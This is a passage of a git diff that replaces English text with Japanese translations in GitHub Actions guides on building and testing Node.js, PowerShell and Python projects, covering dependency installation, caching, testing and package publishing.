+CIテストにパスしたら、Dotnetパッケージをパッケージレジストリに公開するようにワークフローを設定できます。 バイナリを公開するのに必要なトークンや認証情報を保存するために、リポジトリシークレットを使うことができます。 以下の例では、`dotnet core cli`を使ってパッケージを作成し、{% data variables.product.prodname_registry %}に公開しています。
 
 ```yaml
 name: Upload dotnet package
diff --git a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md
index ecb2e61aa8..32defc4730 100644
--- a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md
+++ b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Node.js
-intro: You can create a continuous integration (CI) workflow to build and test your Node.js project.
+title: Node.js のビルドとテスト
+intro: Node.jsプロジェクトのビルドとテストのための継続的インテグレーション（CI）ワークフローを作成できます。
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/using-nodejs-with-github-actions
   - /actions/language-and-framework-guides/using-nodejs-with-github-actions
@@ -23,16 +23,16 @@ hasExperimentalAlternative: true
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-This guide shows you how to create a continuous integration (CI) workflow that builds and tests Node.js code. If your CI tests pass, you may want to deploy your code or publish a package.
+このガイドでは、Node.jsのコードのビルドとテストを行う継続的インテグレーション（CI）ワークフローの作成方法を紹介します。 CIテストにパスしたなら、コードをデプロイしたりパッケージを公開したりすることになるでしょう。
 
-## Prerequisites
+## 必要な環境
 
-We recommend that you have a basic understanding of Node.js, YAML, workflow configuration options, and how to create a workflow file. For more information, see:
+Node.js、YAML、ワークフローの設定オプションと、ワークフローファイルの作成方法についての基本的な知識を持っておくことをおすすめします。 詳しい情報については、以下を参照してください。
 
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
-- "[Getting started with Node.js](https://nodejs.org/en/docs/guides/getting-started-guide/)"
+- 「[{% data variables.product.prodname_actions %} を学ぶ](/actions/learn-github-actions)」
+- 「[Node.js を使ってみる](https://nodejs.org/en/docs/guides/getting-started-guide/)」
 
 {% data reusables.actions.enterprise-setup-prereq %}
 
@@ -40,7 +40,7 @@ We recommend that you have a basic understanding of Node.js, YAML, workflow conf
 
 {% data variables.product.prodname_dotcom %} provides a Node.js starter workflow that will work for most Node.js projects. This guide includes npm and Yarn examples that you can use to customize the starter workflow. For more information, see the [Node.js starter workflow](https://github.com/actions/starter-workflows/blob/main/ci/node.js.yml).
 
-To get started quickly, add the starter workflow to the `.github/workflows` directory of your repository. The workflow shown below assumes that the default branch for your repository is `main`.
+To get started quickly, add the starter workflow to the `.github/workflows` directory of your repository. 以下に示すワークフローは、リポジトリのデフォルトブランチが `main` であることを前提としています。
 
 {% raw %}
 ```yaml{:copy}
@@ -75,15 +75,15 @@ jobs:
 
 {% data reusables.github-actions.example-github-runner %}
 
-## Specifying the Node.js version
+## Node.jsのバージョンの指定
 
-The easiest way to specify a Node.js version is by using the `setup-node` action provided by {% data variables.product.prodname_dotcom %}. For more information see, [`setup-node`](https://github.com/actions/setup-node/).
+最も簡単にNode.jsのバージョンを指定する方法は、{% data variables.product.prodname_dotcom %}が提供する`setup-node`アクションを使うことです。 詳しい情報については[`setup-node`](https://github.com/actions/setup-node/)を参照してください。
 
-The `setup-node` action takes a Node.js version as an input and configures that version on the runner. The `setup-node` action finds a specific version of Node.js from the tools cache on each runner and adds the necessary binaries to `PATH`, which persists for the rest of the job. Using the `setup-node` action is the recommended way of using Node.js with {% data variables.product.prodname_actions %} because it ensures consistent behavior across different runners and different versions of Node.js. If you are using a self-hosted runner, you must install Node.js and add it to `PATH`.
+`setup-node`アクションはNode.jsのバージョンを入力として取り、ランナー上でそのバージョンを設定します。 `setup-node`は各ランナー上のツールキャッシュから指定されたNode.jsのバージョンを見つけ、必要なバイナリを`PATH`に追加します。設定されたバイナリは、ジョブでそれ以降永続化されます。 `setup-node`アクションの利用は、{% data variables.product.prodname_actions %}でNode.jsを使うための推奨される方法です。これは、そうすることで様々なランナーや様々なバージョンのNode.jsで一貫した振る舞いが保証されるためです。 セルフホストランナーを使っている場合は、Node.jsをインストールして`PATH`に追加しなければなりません。
 
-The starter workflow includes a matrix strategy that builds and tests your code with four Node.js versions: 10.x, 12.x, 14.x, and 15.x. The 'x' is a wildcard character that matches the latest minor and patch release available for a version. Each version of Node.js specified in the `node-version` array creates a job that runs the same steps.
+The starter workflow includes a matrix strategy that builds and tests your code with four Node.js versions: 10.x, 12.x, 14.x, and 15.x. この'x'はワイルドカードキャラクターで、そのバージョンで利用できる最新のマイナー及びパッチリリースにマッチします。 `node-version`配列で指定されたNode.jsの各バージョンに対して、同じステップを実行するジョブが作成されます。
 
-Each job can access the value defined in the matrix `node-version` array using the `matrix` context. The `setup-node` action uses the context as the `node-version` input. The `setup-node` action configures each job with a different Node.js version before building and testing code. For more information about matrix strategies and contexts, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix)" and "[Contexts](/actions/learn-github-actions/contexts)."
+それぞれのジョブは、配列`node-version` のマトリクスで定義された値に、`matrix`コンテキストを使ってアクセスできます。 `setup-node`アクションは、このコンテキストを`node-version`のインプットとして使います。 `setup-node`アクションは、コードのビルドとテストに先立って、様々なNode.jsのバージョンで各ジョブを設定します。 For more information about matrix strategies and contexts, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix)" and "[Contexts](/actions/learn-github-actions/contexts)."
 
 {% raw %}
 ```yaml{:copy}
@@ -100,7 +100,7 @@ steps:
 ```
 {% endraw %}
 
-Alternatively, you can build and test with exact Node.js versions.
+あるいは、厳密にNode.jsバージョンを指定してビルドとテストを行うこともできます。
 
 ```yaml{:copy}
 strategy:
@@ -108,7 +108,7 @@ strategy:
     node-version: [8.16.2, 10.17.0]
 ```
 
-Or, you can build and test using a single version of Node.js too.
+または、Node.jsの1つのバージョンを使ってビルドとテストを行うこともできます。
 
 {% raw %}
 ```yaml{:copy}
@@ -133,20 +133,20 @@ jobs:
 ```
 {% endraw %}
 
-If you don't specify a Node.js version, {% data variables.product.prodname_dotcom %} uses the environment's default Node.js version.
+Node.jsのバージョンを指定しなかった場合、{% data variables.product.prodname_dotcom %}は環境のデフォルトのNode.jsのバージョンを使います。
 {% ifversion ghae %} {% data reusables.actions.self-hosted-runners-software %}
-{% else %} For more information, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+{% else %} 詳しい情報については、「[{% data variables.product.prodname_dotcom %} ホストランナーの仕様](/actions/reference/specifications-for-github-hosted-runners/#supported-software)」を参照してください。
 {% endif %}
 
-## Installing dependencies
+## 依存関係のインストール
 
-{% data variables.product.prodname_dotcom %}-hosted runners have npm and Yarn dependency managers installed. You can use npm and Yarn to install dependencies in your workflow before building and testing your code. The Windows and Linux {% data variables.product.prodname_dotcom %}-hosted runners also have Grunt, Gulp, and Bower installed.
+{% data variables.product.prodname_dotcom %}ホストランナーには、依存関係マネージャーのnpmとYarnがインストールされています。 コードのビルドとテストに先立って、npmやYarnを使ってワークフロー中で依存関係をインストールできます。 Windows及びLinuxの{% data variables.product.prodname_dotcom %}ホストランナーには、Grunt、Gulp、Bowerもインストールされています。
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can also cache dependencies to speed up your workflow. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+{% data variables.product.prodname_dotcom %}ホストランナーを使用する場合、依存関係をキャッシュしてワークフローの実行を高速化することもできます。 詳しい情報については、「<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">ワークフローを高速化するための依存関係のキャッシュ</a>」を参照してください。
 
-### Example using npm
+### npmの利用例
 
-This example installs the dependencies defined in the *package.json* file. For more information, see [`npm install`](https://docs.npmjs.com/cli/install).
+以下の例では、*package.json*ファイルで定義された依存関係がインストールされます。 詳しい情報については[`npm install`](https://docs.npmjs.com/cli/install)を参照してください。
 
 ```yaml{:copy}
 steps:
@@ -159,7 +159,7 @@ steps:
   run: npm install
 ```
 
-Using `npm ci` installs the versions in the *package-lock.json* or *npm-shrinkwrap.json* file and prevents updates to the lock file. Using `npm ci` is generally faster than running `npm install`. For more information, see [`npm ci`](https://docs.npmjs.com/cli/ci.html) and "[Introducing `npm ci` for faster, more reliable builds](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable)."
+`npm ci`を使うと、 *package-lock.json*あるいは*npm-shrinkwrap.json*ファイル中のバージョンがインストールされ、ロックファイルの更新を回避できます。 概して`npm ci`は、`npm install`を実行するよりも高速です。 詳しい情報については[`npm ci`](https://docs.npmjs.com/cli/ci.html)及び「[Introducing `npm ci` for faster, more reliable builds](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable)」を参照してください。
 
 {% raw %}
 ```yaml{:copy}
@@ -174,9 +174,9 @@ steps:
 ```
 {% endraw %}
 
-### Example using Yarn
+### Yarnの利用例
 
-This example installs the dependencies defined in the *package.json* file. For more information, see [`yarn install`](https://yarnpkg.com/en/docs/cli/install).
+以下の例では、*package.json*ファイルで定義された依存関係がインストールされます。 詳しい情報については[`yarn install`](https://yarnpkg.com/en/docs/cli/install)を参照してください。
 
 ```yaml{:copy}
 steps:
@@ -189,7 +189,7 @@ steps:
   run: yarn
 ```
 
-Alternatively, you can pass `--frozen-lockfile` to install the versions in the *yarn.lock* file and prevent updates to the *yarn.lock* file.
+あるいは`--frozen-lockfile`を渡して*yarn.lock*ファイル中のバージョンをインストールし、*yarn.lock*ファイルの更新を回避できます。
 
 ```yaml{:copy}
 steps:
@@ -202,15 +202,15 @@ steps:
   run: yarn --frozen-lockfile
 ```
 
-### Example using a private registry and creating the .npmrc file
+### プライベートレジストリの利用と.npmrcファイルの作成の例
 
 {% data reusables.github-actions.setup-node-intro %}
 
-To authenticate to your private registry, you'll need to store your npm authentication token as a secret. For example, create a repository secret called `NPM_TOKEN`. For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+プライベートレジストリに対して認証するには、npm 認証トークンをシークレットとして保存する必要があります。 たとえば、`NPM_TOKEN` というリポジトリシークレットを作成します。 詳しい情報については、「[暗号化されたシークレットの作成と利用](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)」を参照してください。
 
-In the example below, the secret `NPM_TOKEN` stores the npm authentication token. The `setup-node` action configures the *.npmrc* file to read the npm authentication token from the `NODE_AUTH_TOKEN` environment variable. When using the `setup-node` action to create an *.npmrc* file, you must set the `NODE_AUTH_TOKEN` environment variable with the secret that contains your npm authentication token.
+以下の例では、`NPM_TOKEN`というシークレットにはnpmの認証トークンが保存されます。 `setup-node`アクションは、環境変数の`NODE_AUTH_TOKEN`からnpmの認証トークンを読み取るよう*.npmrc*ファイルを設定します。 `setup-node` アクションを使用して *.npmrc* ファイルを作成する場合は、npm 認証トークンを含むシークレットを使用して `NODE_AUTH_TOKEN` 環境変数を設定する必要があります。
 
-Before installing dependencies, use the `setup-node` action to create the *.npmrc* file. The action has two input parameters. The `node-version` parameter sets the Node.js version, and the `registry-url` parameter sets the default registry. If your package registry uses scopes, you must use the `scope` parameter. For more information, see [`npm-scope`](https://docs.npmjs.com/misc/scope).
+依存関係をインストールする前に、`setup-node`アクションを使って*.npmrc*ファイルを作成してください。 このアクションには2つの入力パラメーターがあります。 `node-version`パラメーターはNode.jsのバージョンを設定し、`registry-url`パラメーターはデフォルトのレジストリを設定します。 パッケージレジストリがスコープを使うなら、`scope`パラメーターを使わなければなりません。 詳しい情報については[`npm-scope`](https://docs.npmjs.com/misc/scope)を参照してください。
 
 {% raw %}
 ```yaml{:copy}
@@ -230,7 +230,7 @@ steps:
 ```
 {% endraw %}
 
-The example above creates an *.npmrc* file with the following contents:
+上の例では、以下の内容で*.npmrc*ファイルを作成しています。
 
 ```ini
 //registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN}
@@ -238,7 +238,7 @@ The example above creates an *.npmrc* file with the following contents:
 always-auth=true
 ```
 
-### Example caching dependencies
+### 依存関係のキャッシングの例
 
 When using {% data variables.product.prodname_dotcom %}-hosted runners, you can cache and restore the dependencies using the [`setup-node` action](https://github.com/actions/setup-node).
 
@@ -289,9 +289,9 @@ steps:
 
 If you have a custom requirement or need finer controls for caching, you can use the [`cache` action](https://github.com/marketplace/actions/cache). For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>".
 
-## Building and testing your code
+## コードのビルドとテスト
 
-You can use the same commands that you use locally to build and test your code. For example, if you run `npm run build` to run build steps defined in your *package.json* file and `npm test` to run your test suite, you would add those commands in your workflow file.
+ローカルで使うのと同じコマンドを、コードのビルドとテストに使えます。 たとえば*package.json*ファイルで定義されたビルドのステップを実行するのに`npm run build`を実行し、テストスイートを実行するのに`npm test`を実行しているなら、それらのコマンドをワークフローファイルに追加します。
 
 ```yaml{:copy}
 steps:
@@ -305,10 +305,10 @@ steps:
 - run: npm test
 ```
 
-## Packaging workflow data as artifacts
+## 成果物としてのワークフローのデータのパッケージ化
 
-You can save artifacts from your build and test steps to view after a job completes. For example, you may need to save log files, core dumps, test results, or screenshots. For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+ビルドとテストのステップの成果物を保存し、ジョブの完了後に見ることができます。 たとえば、ログファイル、コアダンプ、テスト結果、スクリーンショットを保存する必要があるかもしれません。 詳しい情報については「[成果物を利用してワークフローのデータを永続化する](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)」を参照してください。
 
-## Publishing to package registries
+## パッケージレジストリへの公開
 
-You can configure your workflow to publish your Node.js package to a package registry after your CI tests pass. For more information about publishing to npm and {% data variables.product.prodname_registry %}, see "[Publishing Node.js packages](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages)."
+CIテストにパスした後、Node.jsパッケージをパッケージレジストリに公開するようにワークフローを設定できます。 npm及び{% data variables.product.prodname_registry %}への公開に関する詳しい情報については「[Node.jsパッケージの公開](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages)」を参照してください。
diff --git a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-powershell.md b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-powershell.md
index 8983ffab2e..58e8534a32 100644
--- a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-powershell.md
+++ b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-powershell.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing PowerShell
-intro: You can create a continuous integration (CI) workflow to build and test your PowerShell project.
+title: PowerShell のビルドとテスト
+intro: PowerShell プロジェクトのビルドとテストのための継続的インテグレーション (CI) ワークフローを作成できます。
 redirect_from:
   - /actions/guides/building-and-testing-powershell
 versions:
@@ -20,32 +20,32 @@ shortTitle: Build & test PowerShell
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-This guide shows you how to use PowerShell for CI. It describes how to use Pester, install dependencies, test your module, and publish to the PowerShell Gallery.
+このガイドでは、CIのためのPowerShellの使用方法を示します。 Pesterの使い方、依存関係のインストール、モジュールのテスト、PowerShell Galleryへの公開について説明します。
 
-{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes PowerShell and Pester. 
+{% data variables.product.prodname_dotcom %}ホストランナーは、PowerShell及びPesterを含むプリインストールされたソフトウェアを伴うツールキャッシュを持ちます。
 
 {% ifversion ghae %}
 {% data reusables.actions.self-hosted-runners-software %}
-{% else %}For a full list of up-to-date software and the pre-installed versions of PowerShell and Pester, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+{% else %}最新のソフトウェアと、PowerShell および Pester のプレインストールされたバージョンの完全なリストについては、「[{% data variables.product.prodname_dotcom %} ホストランナーの仕様](/actions/reference/specifications-for-github-hosted-runners/#supported-software)」を参照してください。
 {% endif %}
 
-## Prerequisites
+## 必要な環境
 
-You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+YAMLと{% data variables.product.prodname_actions %}の構文に馴染んでいる必要があります。 詳しい情報については、「[{% data variables.product.prodname_actions %} を学ぶ](/actions/learn-github-actions)」を参照してください。
 
-We recommend that you have a basic understanding of PowerShell and Pester. For more information, see:
-- [Getting started with PowerShell](https://docs.microsoft.com/powershell/scripting/learn/ps101/01-getting-started)
+PowerShell及びPesterの基本的な理解をしておくことをおすすめします。 詳しい情報については、以下を参照してください。
+- [PowerShellを使い始める](https://docs.microsoft.com/powershell/scripting/learn/ps101/01-getting-started)
 - [Pester](https://pester.dev)
 
 {% data reusables.actions.enterprise-setup-prereq %}
 
-## Adding a workflow for Pester
+## Pesterのワークフローの追加
 
-To automate your testing with PowerShell and Pester, you can add a workflow that runs every time a change is pushed to your repository. In the following example, `Test-Path` is used to check that a file called `resultsfile.log` is present.
+PowerShellとPesterでテストを自動化するには、変更がリポジトリにプッシュされるたびに実行されるワークフローを追加できます。 以下の例では、`resultsfile.log`というファイルがあるかをチェックするために`Test-Path`が使われます。
 
-This example workflow file must be added to your repository's `.github/workflows/` directory:
+以下の例のワークフローファイルは、リポジトリの`.github/workflows/`ディレクトリに追加しなければなりません。
 
 {% raw %}
 ```yaml
@@ -69,17 +69,17 @@ jobs:
 ```
 {% endraw %}
 
-* `shell: pwsh` - Configures the job to use PowerShell when running the `run` commands.
-* `run: Test-Path resultsfile.log` - Check whether a file called `resultsfile.log` is present in the repository's root directory.
-* `Should -Be $true` - Uses Pester to define an expected result. If the result is unexpected, then {% data variables.product.prodname_actions %} flags this as a failed test. For example:
+* `shell: pwsh` `run`コマンドの実行時にPowerShellを使うようにジョブを設定します。
+* `run: Test-Path resultsfile.log` - リポジトリのルートディレクトリに`resultsfile.log`というファイルが存在するかをチェックします。
+* `Should -Be $true` - Pesterを使って期待される結果を定義します。 結果が期待どおりではなかった場合、{% data variables.product.prodname_actions %}はこれを失敗したテストとしてフラグを立てます。 例:
 
   {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-  ![Failed Pester test](/assets/images/help/repository/actions-failed-pester-test-updated.png)
+  ![失敗したPesterテスト](/assets/images/help/repository/actions-failed-pester-test-updated.png)
   {% else %}
-  ![Failed Pester test](/assets/images/help/repository/actions-failed-pester-test.png)
+  ![失敗したPesterテスト](/assets/images/help/repository/actions-failed-pester-test.png)
   {% endif %}
 
-* `Invoke-Pester Unit.Tests.ps1 -Passthru` - Uses Pester to execute tests defined in a file called `Unit.Tests.ps1`. For example, to perform the same test described above, the `Unit.Tests.ps1` will contain the following:
+* `Invoke-Pester Unit.Tests.ps1 -Passthru` - Pesterを使って`Unit.Tests.ps1`というファイルに定義されたテストを実行します。 たとえば上記の同じテストを実行するには、`Unit.Tests.ps1`には以下を含めます。
   ```
   Describe "Check results file is present" {
       It "Check results file is present" {
@@ -88,29 +88,29 @@ jobs:
   }
   ```
 
-## PowerShell module locations
+## PowerShellのモジュールの場所
 
-The table below describes the locations for various PowerShell modules in each {% data variables.product.prodname_dotcom %}-hosted runner.
+以下の表は、それぞれの{% data variables.product.prodname_dotcom %}ホストランナー内の様々なPowerShellモジュールの場所を示します。
 
-|| Ubuntu | macOS | Windows |
-|------|-------|------|----------|
-|**PowerShell system modules** |`/opt/microsoft/powershell/7/Modules/*`|`/usr/local/microsoft/powershell/7/Modules/*`|`C:\program files\powershell\7\Modules\*`|
-|**PowerShell add-on modules**|`/usr/local/share/powershell/Modules/*`|`/usr/local/share/powershell/Modules/*`|`C:\Modules\*`|
-|**User-installed modules**|`/home/runner/.local/share/powershell/Modules/*`|`/Users/runner/.local/share/powershell/Modules/*`|`C:\Users\runneradmin\Documents\PowerShell\Modules\*`|
+|                         | Ubuntu                                           | macOS                                             | Windows                                                      |
+| ----------------------- | ------------------------------------------------ | ------------------------------------------------- | ------------------------------------------------------------ |
+| **PowerShellシステムモジュール** | `/opt/microsoft/powershell/7/Modules/*`          | `/usr/local/microsoft/powershell/7/Modules/*`     | `C:\program files\powershell\7\Modules\*`              |
+| **PowerShellアドオンモジュール** | `/usr/local/share/powershell/Modules/*`          | `/usr/local/share/powershell/Modules/*`           | `C:\Modules\*`                                            |
+| **ユーザがインストールしたモジュール**   | `/home/runner/.local/share/powershell/Modules/*` | `/Users/runner/.local/share/powershell/Modules/*` | `C:\Users\runneradmin\Documents\PowerShell\Modules\*` |
 
-## Installing dependencies
+## 依存関係のインストール
 
-{% data variables.product.prodname_dotcom %}-hosted runners have PowerShell 7 and Pester installed. You can use `Install-Module` to install additional dependencies from the PowerShell Gallery before building and testing your code.
+{% data variables.product.prodname_dotcom %}ホストランナーには、PowerShell 7とPesterがインストールされています。 コードのビルドとテストに先立って、`Install-Module`を使って追加の依存関係をPowerShell Galleryからインストールできます。
 
 {% note %}
 
-**Note:** The pre-installed packages (such as Pester) used by {% data variables.product.prodname_dotcom %}-hosted runners are regularly updated, and can introduce significant changes. As a result, it is recommended that you always specify the required package versions by using `Install-Module` with `-MaximumVersion`.
+**ノート:** {% data variables.product.prodname_dotcom %}ホストランナーが使用するプリインストールされたパッケージ（Pesterなど）は定期的に更新され、重要な変更が行われることがあります。 そのため、`Install-Module`で`-MaximumVersion`を使って必要なパッケージのバージョンを常に指定しておくことをおすすめします。
 
 {% endnote %}
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can also cache dependencies to speed up your workflow. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+{% data variables.product.prodname_dotcom %}ホストランナーを使用する場合、依存関係をキャッシュしてワークフローの実行を高速化することもできます。 詳しい情報については、「<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">ワークフローを高速化するための依存関係のキャッシュ</a>」を参照してください。
 
-For example, the following job installs the `SqlServer` and `PSScriptAnalyzer` modules:
+たとえば以下のジョブは、`SqlServer`及び`PSScriptAnalyzer`モジュールをインストールします。
 
 {% raw %}
 ```yaml
@@ -130,15 +130,15 @@ jobs:
 
 {% note %}
 
-**Note:** By default, no repositories are trusted by PowerShell. When installing modules from the PowerShell Gallery, you must explicitly set the installation policy for `PSGallery` to `Trusted`.
+**ノート:** デフォルトでは、PowerShellはどのリポジトリも信頼しません。 PowerShell Galleryからモジュールをインストールする際には、`PSGallery`のインストールポリシーを明示的に`Trusted`に設定しなければなりません。
 
 {% endnote %}
 
-### Caching dependencies
+### 依存関係のキャッシング
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can cache PowerShell dependencies using a unique key, which allows you to restore the dependencies for future workflows with the [`cache`](https://github.com/marketplace/actions/cache) action. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+{% data variables.product.prodname_dotcom %} ホストランナーを使用する場合、一意のキーを使用してPowerShellの依存関係をキャッシュし、[`cache`](https://github.com/marketplace/actions/cache)アクションで将来のワークフローを実行するときに依存関係を復元できます。 詳しい情報については、「<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">ワークフローを高速化するための依存関係のキャッシュ</a>」を参照してください。
 
-PowerShell caches its dependencies in different locations, depending on the runner's operating system. For example, the `path` location used in the following Ubuntu example will be different for a Windows operating system.
+PowerShellは、ランナーのオペレーティングシステムによって依存関係を様々な場所にキャッシュします。 たとえば以下のUbuntuの例で使われる`path`の場所は、Windowsオペレーティングシステムの場合とは異なります。
 
 {% raw %}
 ```yaml
@@ -159,13 +159,13 @@ steps:
 ```
 {% endraw %}
 
-## Testing your code
+## コードのテスト
 
-You can use the same commands that you use locally to build and test your code.
+ローカルで使うのと同じコマンドを、コードのビルドとテストに使えます。
 
-### Using PSScriptAnalyzer to lint code
+### PSScriptAnalyzerを使ったコードの文法チェック
 
-The following example installs `PSScriptAnalyzer` and uses it to lint all `ps1` files in the repository. For more information, see [PSScriptAnalyzer on GitHub](https://github.com/PowerShell/PSScriptAnalyzer).
+以下の例は`PSScriptAnalyzer`をインストールし、それを使ってリポジトリ内のすべての`ps1`ファイルの文法チェックを行います。 詳しい情報については[GitHub上のPSScriptAnalyzer](https://github.com/PowerShell/PSScriptAnalyzer)を参照してください。
 
 {% raw %}
 ```yaml
@@ -193,11 +193,11 @@ The following example installs `PSScriptAnalyzer` and uses it to lint all `ps1`
 ```
 {% endraw %}
 
-## Packaging workflow data as artifacts
+## 成果物としてのワークフローのデータのパッケージ化
 
-You can upload artifacts to view after a workflow completes. For example, you may need to save log files, core dumps, test results, or screenshots. For more information, see "[Persisting workflow data using artifacts](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+ワークフローの完了後に、成果物をアップロードして見ることができます。 たとえば、ログファイル、コアダンプ、テスト結果、スクリーンショットを保存する必要があるかもしれません。 詳しい情報については「[成果物を利用してワークフローのデータを永続化する](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)」を参照してください。
 
-The following example demonstrates how you can use the `upload-artifact` action to archive the test results received from `Invoke-Pester`. For more information, see the [`upload-artifact` action](https://github.com/actions/upload-artifact).
+以下の例は、`upload-artifact`アクションを使って`Invoke-Pester`から受信したテスト結果をアーカイブする方法を示しています。 詳しい情報については[`upload-artifact`アクション](https://github.com/actions/upload-artifact)を参照してください。
 
 {% raw %}
 ```yaml
@@ -223,13 +223,13 @@ jobs:
 ```
 {% endraw %}
 
-The `always()` function configures the job to continue processing even if there are test failures. For more information, see "[always](/actions/reference/context-and-expression-syntax-for-github-actions#always)."
+`always()`関数は、テストに失敗があっても継続するようにジョブを設定しています。 詳しい情報については「[ always](/actions/reference/context-and-expression-syntax-for-github-actions#always)」を参照してください。
 
-## Publishing to PowerShell Gallery
+## PowerShell Galleryへの公開
 
-You can configure your workflow to publish your PowerShell module to the PowerShell Gallery when your CI tests pass. You can use secrets to store any tokens or credentials needed to publish your package. For more information, see "[Creating and using encrypted secrets](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+CIテストにパスしたら、PowerShellモジュールをPowerShell Galleryに公開するようにワークフローを設定できます。 パッケージを公開するのに必要なトークンや認証情報を保存するために、シークレットを使うことができます。 詳しい情報については、「[暗号化されたシークレットの作成と利用](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)」を参照してください。
 
-The following example creates a package and uses `Publish-Module` to publish it to the PowerShell Gallery:
+以下の例は、パッケージを作成し、`Publish-Module`を使ってそのパッケージをPowerShell Galleryに公開します。
 
 {% raw %}
 ```yaml
diff --git a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-python.md b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-python.md
index c67f6a545b..2883f9b170 100644
--- a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-python.md
+++ b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-python.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Python
-intro: You can create a continuous integration (CI) workflow to build and test your Python project.
+title: Python のビルドとテスト
+intro: Pythonプロジェクトのビルドとテストのための継続的インテグレーション（CI）ワークフローを作成できます。
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/using-python-with-github-actions
   - /actions/language-and-framework-guides/using-python-with-github-actions
@@ -22,20 +22,20 @@ hasExperimentalAlternative: true
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-This guide shows you how to build, test, and publish a Python package.
+このガイドは、Pythonパッケージのビルド、テスト、公開の方法を紹介します。
 
 {% ifversion ghae %}
 {% data reusables.actions.self-hosted-runners-software %}
-{% else %} {% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Python and PyPy. You don't have to install anything! For a full list of up-to-date software and the pre-installed versions of Python and PyPy, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+{% else %} {% data variables.product.prodname_dotcom %} ホストランナーには、Python および PyPy などのソフトウェアがプリインストールされたツールキャッシュがあります。 自分では何もインストールする必要がありません！ 最新のソフトウェアと、Python および PyPy のプリインストールされたバージョンの完全なリストについては、「[{% data variables.product.prodname_dotcom %} ホストランナーの仕様](/actions/reference/specifications-for-github-hosted-runners/#supported-software)」を参照してください。
 {% endif %}
 
-## Prerequisites
+## 必要な環境
 
-You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+YAMLと{% data variables.product.prodname_actions %}の構文に馴染んでいる必要があります。 詳しい情報については、「[{% data variables.product.prodname_actions %} を学ぶ](/actions/learn-github-actions)」を参照してください。
 
-We recommend that you have a basic understanding of Python, PyPy, and pip. For more information, see:
+Python、PyPy、pipの基本的な理解をしておくことをおすすめします。 詳しい情報については、以下を参照してください。
 - [Getting started with Python](https://www.python.org/about/gettingstarted/)
 - [PyPy](https://pypy.org/)
 - [Pip package manager](https://pypi.org/project/pip/)
@@ -77,7 +77,7 @@ jobs:
